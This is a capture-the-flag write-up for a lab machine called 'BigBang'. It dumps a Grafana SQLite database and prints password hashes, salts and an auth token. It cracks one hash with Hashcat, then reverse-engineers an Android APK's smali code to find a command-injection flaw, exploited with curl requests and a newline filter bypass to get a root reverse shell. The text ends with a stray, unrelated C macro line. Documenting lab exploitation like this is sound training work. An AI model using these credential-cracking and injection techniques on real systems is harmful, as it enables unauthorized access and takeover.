AlertManager configuration:

1. Table: alert_configuration

  • Purpose: Stores the active AlertManager configuration for the Grafana instance.
  • Fields of Interest:
    • JSON with alert routing and receiver configuration.
    • The receiver is set to grafana-default-email, suggesting email alerts are configured.
    • The grafana_managed_receiver_configs array is currently empty ("uid": ""), but might expand with additional configurations.
    • configuration_hash: Could be used to verify changes or detect tampering.
    • default: Indicates if this is the default alert configuration for the organization (org_id).

2. Table: alert_configuration_history

  • Purpose: Tracks historical changes to alert configurations.
  • Fields of Interest:
    • alertmanager_configuration: Stores previous configurations, which might include outdated but still valid credentials or sensitive details.
    • last_applied: Indicates when the configuration was last applied, which could help determine its relevance.

Grafana

The scan results, combined with the observations from the LinPEAS scan, suggest that Grafana is a strong potential attack vector for privilege escalation or further exploitation.

Grafana is an open-source platform used for monitoring, visualization, and alerting on metrics and logs. It's widely used in DevOps, IT operations, and system monitoring. Grafana provides a web-based interface to create dashboards, visualize system performance, and set up alerts based on thresholds.

Port forward localhost:3000:

Bash
ssh -L 3000:127.0.0.1:3000 [email protected] 

Navigate to http://localhost:3000 we see the login page of Grafana:

Grafana Database

Under the /opt directory, which typically houses application data, we discover a database:

shawking@bigbang:~$ ls /opt/data -l
total 1000
drwxr--r-- 2 root root    4096 Jun  5  2024 csv
-rw-r--r-- 1 root root 1003520 Jan 27 15:06 grafana.db
drwxr--r-- 2 root root    4096 Jun  5  2024 pdf
drwxr-xr-x 2 root root    4096 Jun  5  2024 plugins
drwxr--r-- 2 root root    4096 Jun  5  2024 png

The file /opt/data/grafana.db is the SQLite database file used by Grafana. It contains all the core data for Grafana's operation.

Download the file for local access:

Bash
scp [email protected]:/opt/data/grafana.db . 

Dump the database using sqlite3:

Bash
sqlite3 grafana.db ".dump" > dump.sql

Extract key information:

SQL
INSERT INTO user VALUES(1,0,'admin','admin@localhost','','441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34','CFn7zMsQpf','CgJll8Bmss','',1,1,0,'','2024-06-05 16:14:51','2024-06-05 16:16:02',0,'2024-06-05 16:16:02',0,0,'');
INSERT INTO user VALUES(2,0,'developer','[email protected]','George Hubble','7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960','4umebBJucv','0Whk1JNfa3','',1,0,0,'','2024-06-05 16:17:32','2025-01-20 16:27:39',0,'2025-01-20 16:27:19',0,0,'ednvnl5nqhse8d');

These INSERT INTO user statements populate a table named user in the Grafana database.

  • First Entry: admin
    • Username: admin
    • Email: admin@localhost
    • Password Hash: 441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34
    • Salt: CFn7zMsQpf
    • Admin: Yes (1).
  • Second Entry: developer**
    • Username: developer
    • Email: [email protected]
    • Full Name: George Hubble
    • Password Hash: 7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960
    • Salt: 4umebBJucv
    • Admin: No (0).
SQL
INSERT INTO user_auth_token VALUES(4,2,'b53dc2416a05f35bd12eda4bcd86bfa50272acc0ddeb7265a8ad5ebda69faea2','b53dc2416a05f35bd12eda4bcd86bfa50272acc0ddeb7265a8ad5ebda69faea2','Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0','172.17.0.1',1,1737390471,1737390470,1737390470,1737390470,0);
CREATE TABLE `cache_data` (
`cache_key` TEXT PRIMARY KEY NOT NULL
, `data` BLOB NOT NULL
, `expires` INTEGER NOT NULL
, `created_at` INTEGER NOT NULL
);

This inserts a record into the user_auth_token table, which is used to track user authentication tokens in Grafana.

  • id: 4
  • user_id: 2
    • The user ID associated with this token. Refers to the developer user in the user table.
  • auth_token and prev_auth_token:
    • Both contain the same token string: b53dc2416a05f35bd12eda4bcd86bfa50272acc0ddeb7265a8ad5ebda69faea2, which are used to authenticate the user for API calls or sessions.
  • client_ip: 172.17.0.1:
    • The IP address of the client that initiated the session.
  • is_active:1 (Active)
    • Indicates that this token is currently active.
SQL
INSERT INTO alert_configuration VALUES(1,replace('{\n   "alertmanager_config": {\n              "route": {\n                "receiver": "grafana-default-email",\n                   "group_by": ["grafana_folder", "alertname"]\n           },\n        "receivers": [{\n                        "name": "grafana-default-email",\n                      "grafana_managed_receiver_configs": [{\n                             "uid": "",\n                            "name": "email receiver",\n                 "type": "email",\n                               "isDefault": true,\n                            "settings": {\n             "addresses": "<[email protected]>"\n                             }\n                     }]\n            }]\n    }\n}\n','\n',char(10)),'v1',1717604091,1,1,'e0528a75784033ae7b15c40851d89484');

The query creates an alert configuration in the Grafana database. Alerts in Grafana are used to notify users when a specific condition in a monitored system is met.

  • id: 1
  • alertmanager_configuration:
    • Contains JSON that defines the configuration of the alert system.
  • default: 1
    • Indicates that this is the default configuration.
  • configuration_hash: 'e0528a75784033ae7b15c40851d89484'
    • A hash value used to identify this specific configuration.
SQL
INSERT INTO kv_store VALUES(6,0,'plugin.publickeys','key-7e4d0c6a708866e7',replace(replace('-----BEGIN PGP PUBLIC KEY BLOCK-----\r\nVersion: OpenPGP.js v4.10.1\r\nComment: https://openpgpjs.org\r\n\r\nxpMEXpTXXxMFK4EEACMEIwQBiOUQhvGbDLvndE0fEXaR0908wXzPGFpf0P0Z\r\nHJ06tsq+0higIYHp7WTNJVEZtcwoYLcPRGaa9OQqbUU63BEyZdgAkPTz3RFd\r\n5+TkDWZizDcaVFhzbDd500yTwexrpIrdInwC/jrgs7Zy/15h8KA59XXUkdmT\r\nYB6TR+OA9RKME+dCJozNGUdyYWZhbmEgPGVuZ0BncmFmYW5hLmNvbT7CvAQQ\r\nEwoAIAUCXpTXXwYLCQcIAwIEFQgKAgQWAgEAAhkBAhsDAh4BAAoJEH5NDGpw\r\niGbnaWoCCQGQ3SQnCkRWrG6XrMkXOKfDTX2ow9fuoErN46BeKmLM4f1EkDZQ\r\nTpq3SE8+My8B5BIH3SOcBeKzi3S57JHGBdFA+wIJAYWMrJNIvw8GeXne+oUo\r\nNzzACdvfqXAZEp/HFMQhCKfEoWGJE8d2YmwY2+3GufVRTI5lQnZOHLE8L/Vc\r\n1S5MXESjzpcEXpTXXxIFK4EEACMEIwQBtHX/SD5Qm3v4V92qpaIZQgtTX0sT\r\ncFPjYWAHqsQ1iENrYN/vg1wU3ADlYATvydOQYvkTyT/tbDvx2Fse8PL84MQA\r\nYKKQ6AJ3gLVvmeouZdU03YoV4MYaT8KbnJUkZQZkqdz2riOlySNI9CG3oYmv\r\nomjUAtzgAgnCcurfGLZkkMxlmY8DAQoJwqQEGBMKAAkFAl6U118CGwwACgkQ\r\nfk0ManCIZuc0jAIJAVw2xdLr4ZQqPUhubrUyFcqlWoW8dQoQagwO8s8ubmby\r\nKuLA9FWJkfuuRQr+O9gHkDVCez3aism7zmJBqIOi38aNAgjJ3bo6leSS2jR/\r\nx5NqiKVi83tiXDPncDQYPymOnMhW0l7CVA7wj75HrFvvlRI/4MArlbsZ2tBn\r\nN1c5v9v/4h6qeA==\r\n=DNbR\r\n-----END PGP PUBLIC KEY BLOCK-----\r\n','\r',char(13)),'\n',char(10)),'2024-06-05 16:14:52','2024-06-05 16:14:52');

This SQL statement inserts a PGP (Pretty Good Privacy) public key into the kv_store table in a database, likely part of a Grafana configuration or plugin storage.

  1. Table: kv_store The table is used to store key-value pairs related to the Grafana environment.
  2. Columns and Their Values:
    • id: 6
    • org_id: 0 Associated organization ID. 0 usually refers to the default or root organization.
    • namespace: 'plugin.publickeys'
    • key: 'key-7e4d0c6a708866e7'
    • value: The actual PGP public key, formatted properly with newlines.
      • Processing with replace:
        • The first replace substitutes \r with a carriage return (char(13)).
        • The second replace substitutes \n with a newline (char(10)). This ensures proper formatting of the PGP public key when stored in the database.

Grafana2Hashcat

If we search for the Grafana password hash format, we come across this repository. It reveals that Grafana commonly employs PBKDF2-SHA256 for password hashing. This algorithm combines the password, a salt, and a high number of iterations to strengthen the hash against brute force attacks.

The format for hash is:

sha256$Iterations$salt$hash

Organize hashes we found in a TXT:

441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34,CFn7zMsQpf
7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960,4umebBJucv

Then run grafana2hashcat.py to convert the hash into Hashcat format:

Run Hashcat with mode 10900, which is specifically designed for PBKDF2-SHA256 hashes. Using the formatted hash of the user developer (George), the password is successfully cracked:

sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjd▒▒▒▒▒▒▒▒▒:big▒▒▒▒

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)

A perfectly reasonable password for this box :D. Use these credentials to log in to Grafana after setting up the appropriate port forwarding:

And we can use the password to switch to another user developer and found an Android APK file under the /home directory:

APK

apktool

Go through an exploit path agains Android APK files as introduced in the Instant writeup.

Download the APK file:

Bash
scp [email protected]:/home/developer/android/satellite-app.apk .

Use tools like apktool to decompile and inspect the application::

Bash
apktool d satellite-app.apk -o satellite_app_decompiled

AndroidManifest.xml:

XML
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="34" android:compileSdkVersionCodename="14" package="com.satellite.bigbang" platformBuildVersionCode="34" platformBuildVersionName="14">
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:extractNativeLibs="false" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Bigbang" android:usesCleartextTraffic="true">
        <activity android:exported="true" android:name="com.satellite.bigbang.MainActivity" android:theme="@style/Theme.Bigbang">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <activity android:exported="true" android:name="com.satellite.bigbang.LoginActivity" android:theme="@style/Theme.Bigbang"/>
        <activity android:name="com.satellite.bigbang.InteractionActivity"/>
        <activity android:name="com.satellite.bigbang.MoveCommandActivity"/>
        <activity android:exported="true" android:name="com.satellite.bigbang.TakePictureActivity"/>
        <provider android:authorities="com.satellite.bigbang.com.squareup.picasso" android:exported="false" android:name="com.squareup.picasso.PicassoProvider"/>
        <provider android:authorities="com.satellite.bigbang.androidx-startup" android:exported="false" android:name="androidx.startup.InitializationProvider">
            <meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
            <meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
        </provider>
    </application>
</manifest>

Application Configuration

  • android:allowBackup="true": Allows the app's data to be backed up via Android's backup mechanism, which could expose sensitive data.
    • If enabled, an attacker could potentially retrieve app data using the adb backup command.
  • android:usesCleartextTraffic="true": Indicates that the app allows unencrypted (HTTP) traffic.
    • This is a significant vulnerability if sensitive data (e.g., credentials or tokens) is transmitted without encryption.

The smali directory contains the decompiled Dalvik bytecode files for the APK. These files are the disassembled Java code, which we can inspect for understanding the app’s behavior and identifying potential vulnerabilities.

The directory smali/com/satellite/bigbang/ contains the main activities of the app:

$ ls
AndroidManifest.xml  apktool.yml  kotlin  original  res  smali  unknown

$ ls smali
a   android   B   C    d   e   f   g   h   i   j   k  L   M   N   O   P   Q   R  t  U  w  X  z
A   androidx  b0  c0   D   E   F   G   H   I   J   K  l0  m0  n0  o0  p0  q0  s  T  v  W  y  Z
a0  b         c   com  d0  e0  f0  g0  h0  i0  j0  l  m   n   o   p   q   r   S  u  V  x  Y

$ ls smali/com/satellite/bigbang/
InteractionActivity.smali  LoginActivity.smali  MainActivity.smali  MoveCommandActivity.smali  TakePictureActivity.smali

Reverse and analyze the smalis.

Reversing

MoveCommandActivity.smali

A preview for the TakePictureActivity.smali, it includes fields and methods that deal with user interaction for taking pictures and managing locations. It should be the major functionality developed for the app:

We will see how it works by analyzing Le/b in the following part.

For the MoveCommandActivity.smali:

.class public Lcom/satellite/bigbang/MoveCommandActivity;
.super Landroidx/appcompat/app/AppCompatActivity;
.source "SourceFile"


# static fields
.field public static final synthetic s:I


# instance fields
.field public n:Landroid/widget/EditText;

.field public o:Landroid/widget/EditText;

.field public p:Landroid/widget/EditText;

.field public q:Ljava/lang/String;

.field public r:J


# direct methods
.method public constructor <init>()V
    .locals 0

    invoke-direct {p0}, Landroidx/appcompat/app/AppCompatActivity;-><init>()V

    return-void
.end method


# virtual methods
.method public final onCreate(Landroid/os/Bundle;)V
    .locals 3

    invoke-super {p0, p1}, Landroidx/fragment/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V

    const p1, 0x7f0c001e

    invoke-virtual {p0, p1}, Landroidx/appcompat/app/AppCompatActivity;->setContentView(I)V

    invoke-virtual {p0}, Landroid/app/Activity;->getIntent()Landroid/content/Intent;

    move-result-object p1

    const-string v0, "access_token"

    invoke-virtual {p1, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;

    move-result-object p1

    iput-object p1, p0, Lcom/satellite/bigbang/MoveCommandActivity;->q:Ljava/lang/String;

    invoke-virtual {p0}, Landroid/app/Activity;->getIntent()Landroid/content/Intent;

    move-result-object p1

    const-string v0, "token_expiry_time"

    const-wide/16 v1, 0x0

    invoke-virtual {p1, v0, v1, v2}, Landroid/content/Intent;->getLongExtra(Ljava/lang/String;J)J

    move-result-wide v0

    iput-wide v0, p0, Lcom/satellite/bigbang/MoveCommandActivity;->r:J

    const p1, 0x7f09009a

    invoke-virtual {p0, p1}, Landroidx/appcompat/app/AppCompatActivity;->findViewById(I)Landroid/view/View;

    move-result-object p1

    check-cast p1, Landroid/widget/EditText;

    iput-object p1, p0, Lcom/satellite/bigbang/MoveCommandActivity;->n:Landroid/widget/EditText;

    const p1, 0x7f09009b

    invoke-virtual {p0, p1}, Landroidx/appcompat/app/AppCompatActivity;->findViewById(I)Landroid/view/View;

    move-result-object p1

    check-cast p1, Landroid/widget/EditText;

    iput-object p1, p0, Lcom/satellite/bigbang/MoveCommandActivity;->o:Landroid/widget/EditText;

    const p1, 0x7f09009c

    invoke-virtual {p0, p1}, Landroidx/appcompat/app/AppCompatActivity;->findViewById(I)Landroid/view/View;

    move-result-object p1

    check-cast p1, Landroid/widget/EditText;

    iput-object p1, p0, Lcom/satellite/bigbang/MoveCommandActivity;->p:Landroid/widget/EditText;

    const p1, 0x7f090154

    invoke-virtual {p0, p1}, Landroidx/appcompat/app/AppCompatActivity;->findViewById(I)Landroid/view/View;

    move-result-object p1

    check-cast p1, Landroid/widget/Button;

    new-instance v0, Le/b;

    const/4 v1, 0x7

    invoke-direct {v0, v1, p0}, Le/b;-><init>(ILjava/lang/Object;)V

    invoke-virtual {p1, v0}, Landroid/view/View;->setOnClickListener(Landroid/view/View$OnClickListener;)V

    return-void
.end method

It appears to handle command input for moving or controlling some component of the system. Based on the presence of the access_token and token_expiry_time, which requires authenticated access to perform its operations.

Instance Fields:

  • n, o, p (EditText):
    • These fields represent text input boxes where users can provide input.
  • q (String):
    • A string field, initialized from the access_token retrieved from the Intent.
  • r (Long):
    • A long integer field, initialized from the token_expiry_time retrieved from the Intent.

Therefore, we see the MoveCommandActivity class has three EditText fields (n, o, p) and an attached button with a View.OnClickListener. This suggests that the activity allows user input for commands or actions.

If the listener (Le/b) uses user input in a system command without sanitization (as it is), it is vulnerable to OS Command Injection.

Class Le/b | e/b.smali

The Le/b class mentioned is a Smali file in our decompiled app directory. We can search for relevant source codes:

Bash
find smali/ -name "b.smali" | xargs grep -n "Le/b"

We can find it under smali/e/b.smali - The onClick method in Le/b contains a packed-switch that directs execution based on the value of the a field in the object. Each :pswitch_ branch corresponds to a specific button action:

.packed-switch 0x0
    :pswitch_7
    :pswitch_6
    :pswitch_5
    :pswitch_4
    :pswitch_3
    :pswitch_2
    :pswitch_1
    :pswitch_0
.end packed-switch

In :pswitch_0, the app retrieves and parses user input from EditText fields (n, o, p) and constructs a JSON object. It then appears to pass this object to AsyncTask for execution.

Code for :pswitch_0:

:pswitch_0
move-object v0, p0
check-cast v0, Lcom/satellite/bigbang/MoveCommandActivity;

# Retrieve the EditText input fields
iget-object v1, v0, Lcom/satellite/bigbang/MoveCommandActivity;->n:Landroid/widget/EditText;
invoke-virtual {v1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
move-result-object v1
invoke-virtual {v1}, Ljava/lang/Object;->toString()Ljava/lang/String;
move-result-object v1

# Repeat for other fields (o, p)

JSON Object Creation: The inputs (x, y, z) are parsed into a JSON object:

const-string v6, "x"
invoke-static {v1}, Ljava/lang/Float;->parseFloat(Ljava/lang/String;)F
invoke-virtual {v5, v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;D)Lorg/json/JSONObject;

Execution via AsyncTask: The JSON is passed to AsyncTask for execution:

invoke-virtual {v3, p0}, Landroid/os/AsyncTask;->execute([Ljava/lang/Object;)Landroid/o

The AsyncTask instance (Lu/f) is responsible for handling the user input. Find the Lu/f class. We can find it under smali/u/f.smali:

It implements an AsyncTask that interacts with a web service at http://app.bigbang.htb:9090/command:

Inspect HTTP POST Request in a([Ljava/lang/String;)Ljava/lang/String;. The method a constructs an HTTP POST request to http://app.bigbang.htb:9090/command:

const-string v9, "http://app.bigbang.htb:9090/command"
invoke-direct {v0, v9}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;

It sets headers such as Content-Type: application/json and includes an Authorization header:

const-string v5, "Authorization"
new-instance v6, Ljava/lang/StringBuilder;
invoke-direct {v6, p0}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

The JSON payload is sent via the OutputStream of the connection:

invoke-virtual {v0}, Ljava/net/URLConnection;->getOutputStream()Ljava/io/OutputStream;
aget-object p1, p1, v2
invoke-virtual {p1, v8}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
invoke-virtual {p0, p1, v2, v3}, Ljava/io/OutputStream;->write([BII)V

It takes user input as JSON payload. The JSON payload is constructed using user inputs from the MoveCommandActivity. The command, x, y, and z values are parsed and added to the JSON object:

const-string v6, "command"
const-string v7, "move"
invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;

const-string v6, "x"
invoke-static {v1}, Ljava/lang/Float;->parseFloat(Ljava/lang/String;)F

These values are passed to AsyncTask for execution via an HTTP request. The Authorization header is dynamically constructed using the access_token from the MoveCommandActivity:

iget-object p0, v4, Lcom/satellite/bigbang/MoveCommandActivity;->q:Ljava/lang/String;
invoke-virtual {v6, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

Additionally, the snippet from e/b.smali reveals how the TakePictureActivity interacts with q0/b.

Retrieving a Value from a HashMap:

invoke-virtual {v0, p1}, Ljava/util/HashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
move-result-object p1
check-cast p1, Ljava/lang/String;

A value is being retrieved from a HashMap using a key (p1), and the result (p1) is cast as a String.

Appending .png:

const-string v0, ".png"
invoke-static {p1, v0}, LF/Q;->d(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
move-result-object p1

A .png extension is appended to the retrieved string. This suggests it is preparing a filename, likely for an image.

Creating a New Instance of q0/b:

new-instance v0, Lq0/b;
invoke-direct {v0, p0}, Lq0/b;-><init>(Lcom/satellite/bigbang/TakePictureActivity;)V

An object of q0/b is instantiated. The TakePictureActivity object (p0) is passed as a parameter.

Passing the Prepared Filename to the AsyncTask:

filled-new-array {p1}, [Ljava/lang/String;
move-result-object p0
invoke-virtual {v0, p0}, Landroid/os/AsyncTask;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;

The prepared filename (p1) is wrapped into a string array. This string array is passed to the execute method of the AsyncTask object (v0), which runs the task asynchronously.

Class q0/b | smali/q0/b.smali

Now we go to smali/q0/b.smali to inspect the source code. An short analysis on how it works:

doInBackground Method

Constructs a JSON payload with a send_image command and the user-provided output_file parameter.

const-string v0, "{\"command\": \"send_image\", \"output_file\": \""
iget-object v0, p0, Lq0/b;->a:Ljava/lang/String;
invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

The value of output_file (p0->a) is controlled by the user input passed to doInBackground. If there is no validation or sanitization, it could allow directory traversal or file overwrites (e.g., ../../path/to/overwrite).

HTTP Request Construction

Establishes an HTTP POST request to the server endpoint /command.

const-string v3, "http://app.bigbang.htb:9090/command"
invoke-direct {p1, v3}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
invoke-virtual {p1}, Ljava/net/HttpURLConnection;->openConnection()Ljava/net/URLConnection;

This connection assumes the server blindly processes incoming commands. Any maliciously crafted payload (e.g., including shell injection or unexpected parameters) could exploit improperly validated backend handling.

Authorization Header

Adds a Bearer token (retrieved from the TakePictureActivity) to the HTTP headers for authentication.

const-string v3, "Authorization"
new-instance v4, Ljava/lang/StringBuilder;
invoke-direct {v4, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
iget-object v1, p0, Lq0/b;->b:Lcom/satellite/bigbang/TakePictureActivity;
iget-object v1, v1, Lcom/satellite/bigbang/TakePictureActivity;->p:Ljava/lang/String;
invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
File Handling

Constructs a file path based on the output_file name and stores the image in the public "Pictures" directory.

new-instance v0, Ljava/io/File;
sget-object v1, Landroid/os/Environment;->DIRECTORY_PICTURES:Ljava/lang/String;
invoke-static {v1}, Landroid/os/Environment;->getExternalStoragePublicDirectory(Ljava/lang/String;)Ljava/io/File;
invoke-direct {v0, v1, p0}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V

If the output_file parameter contains malicious paths or filenames (e.g., ../../../../etc/passwd), it could lead to arbitrary file overwrites.

File Writing Loop

Reads data from the HTTP response and writes it to the constructed file path.

new-array v0, v0, [B
invoke-virtual {p1, v0}, Ljava/io/InputStream;->read([B)I
invoke-virtual {p0, v0, v2, v1}, Ljava/io/FileOutputStream;->write([BII)V

The file-writing mechanism assumes that the HTTP response contains valid image data. Manipulating the backend to send malicious or malformed data could corrupt the file system or exploit file parsers on the client.

Post-Execution Toast Message

Displays a success or failure message based on the HTTP response.

const-string p1, "Request Successful and Image Downloaded"
invoke-static {p0, p1, v0}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
invoke-virtual {p0}, Landroid/widget/Toast;->show()V

The success/failure handling appears superficial and doesn't validate the integrity of the downloaded file.

Vulnerability | Command Injection

The send_image command in the TakePictureActivity or q0/b.smali class handles the output_file parameter. All in all:

Command Construction:

const-string v0, "{\"command\": \"send_image\", \"output_file\": \""

The output_file value is directly concatenated with the string, creating the command to be executed.

Execution Without Proper Validation:

invoke-static {p1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • The output_file value is appended as part of the command, with no validation to sanitize it.
  • As a result, if the output_file contains special characters or shell commands (;, &&, etc.), those are executed by the shell.

Execution Context:

invoke-virtual {p1}, Ljava/net/HttpURLConnection;->getOutputStream()Ljava/io/OutputStream;
  • The concatenated command is sent to the backend and executed in the shell (possibly via a subprocess).
  • This means that the shell interprets the concatenated command string, allowing injected commands to be executed.

Exploit

Now let's exploit the application's vulnerability, targeting the host http://app.bigbang.htb:9090, which is currently accessible internally at http://127.0.0.1:9090 via proper port forwarding.

This requires using the POST method to access http://localhost:9090. Use curl to send a POST request to the /login endpoint:

Bash
curl -X POST http://127.0.0.1:9090/login \
    -d '{"username":"developer","password":"big▒▒▒▒"}' \
    -H "Content-Type: application/json"

It returns the access_token mentioned in the source code, aka a JWT, for the developer user to us:

As a standard practice, we can export the retrieved access_token as an environment variable for convenience in future requests.

The smali code highlights that the /command endpoint is critical and requires the access token for interaction. Test the endpoint by including the Authorization header in the request:

Bash
curl -X POST http://127.0.0.1:9090/command \
     -d '{"command":"move","x":10,"y":20,"z":30}' \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer $access_token"

The move command is a predefined functionality of the application, as derived from the reverse engineering of the app's code (MoveCommandActivity in the APK). In the smali code, we observed:

const-string v6, "command"
const-string v7, "move"
invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;

Send the request, and the server accepted our command and processed it successfully:

The JWT is proved to work well and now we can test the Command Injection vulnerability found, by crafting a request indicated in the smali/q0/b.smali source code:

Bash
curl -X POST http://127.0.0.1:9090/command \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer $access_token" \
     -d '{"command": "send_image", "output_file": "/tmp/test"}'

Response:

{"error":"Error generating image: "}

As we analyzed, we can exploit the command injection vulnerability with the shell interprets ;, &&, and other separators as legitimate operators, executing whatever follows:

It appears that certain special characters are filtered by the application. However, when working with bash, there are always creative ways to bypass these restrictions, such as leveraging the newline character \n:

Now, we have successfully achieved an RCE primitive. Obtaining a reverse shell without relying on special characters isn't particularly challenging. First, create a reverse shell bash script directly on the victim machine:

Execute the script using the RCE primitive. As anticipated, we gain a reverse shell as root, since the application is running with root privileges, as revealed during our prior internal scans:

Rooted.


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)